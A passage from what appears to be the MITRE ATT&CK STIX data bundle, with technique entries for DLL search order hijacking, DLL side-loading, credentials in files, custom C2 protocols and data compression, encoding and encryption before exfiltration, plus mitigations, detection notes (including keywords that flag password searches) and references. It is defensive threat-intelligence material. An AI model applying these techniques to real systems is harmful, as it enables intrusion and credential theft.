                },
                {
                    "source_name": "Microsoft NRPC Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
                },
                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
                },
                {
                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "source_name": "Microsoft SAMR",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
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            "name": "Credentials in Files Mitigation",
            "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1081",
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                    "source_name": "Microsoft MS14-025",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
                    "url": "http://support.microsoft.com/kb/2962486"
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            "description": "Adversaries may search local file systems and remote file shares for files containing passwords.  These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nDetection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Access to files",
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                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
                },
                {
                    "source_name": "SRD GPP",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
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            "type": "course-of-action",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Custom Command and Control Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "id": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Custom Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:31.197Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Custom Cryptographic Protocol",
            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
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                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2018-01-17T12:56:55.080Z",
            "name": "DLL Search Order Hijacking Mitigation",
            "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode.  The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1038",
                    "external_id": "T1038"
                },
                {
                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Microsoft DLL Preloading",
                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx"
                }
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:40.604Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "DLL Search Order Hijacking",
            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1038",
                    "external_id": "T1038"
                },
                {
                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
                },
                {
                    "source_name": "OWASP Binary Planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "url": "https://www.owasp.org/index.php/Binary%20planting"
                },
                {
                    "source_name": "Microsoft 2269637",
                    "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
                    "url": "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx"
                },
                {
                    "source_name": "Microsoft DLL Redirection",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682600"
                },
                {
                    "source_name": "Microsoft Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365"
                },
                {
                    "source_name": "Mandiant Search Order",
                    "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                    "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                "Stefan Kanthak",
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            "x_mitre_data_sources": [
                "File monitoring",
                "DLL monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting"
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            "x_mitre_permissions_required": [
                "User",
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            "x_mitre_effective_permissions": [
                "User",
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            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_system_requirements": [
                "Ability to add a DLL, manifest file, or .local file, directory, or junction."
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "DLL Side-Loading Mitigation",
            "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1073",
                    "external_id": "T1073"
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            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:58.007Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "DLL Side-Loading",
            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1073",
                    "external_id": "T1073"
                },
                {
                    "source_name": "MSDN Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa375365"
                },
                {
                    "source_name": "Stewart 2014",
                    "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Process use of network",
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                "Loaded DLLs"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Process whitelisting"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Compressed Mitigation",
            "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1002",
                    "external_id": "T1002"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:19.338Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Compressed",
            "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1002",
                    "external_id": "T1002"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
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                "Binary file metadata",
                "Process command-line parameters",
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            "x_mitre_network_requirements": false,
            "x_mitre_platforms": [
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                "macOS",
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Encoding Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1132",
                    "external_id": "T1132"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:43.540Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Encoding",
            "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1132",
                    "external_id": "T1132"
                },
                {
                    "source_name": "Wikipedia Binary-to-text Encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text%20encoding"
                },
                {
                    "source_name": "Wikipedia Character Encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Character%20encoding"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
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            "x_mitre_data_sources": [
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                "Process use of network",
                "Process Monitoring",
                "Network protocol analysis"
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            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Encrypted Mitigation",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                },
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:30.260Z",
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            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
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                    "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Data Staged Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
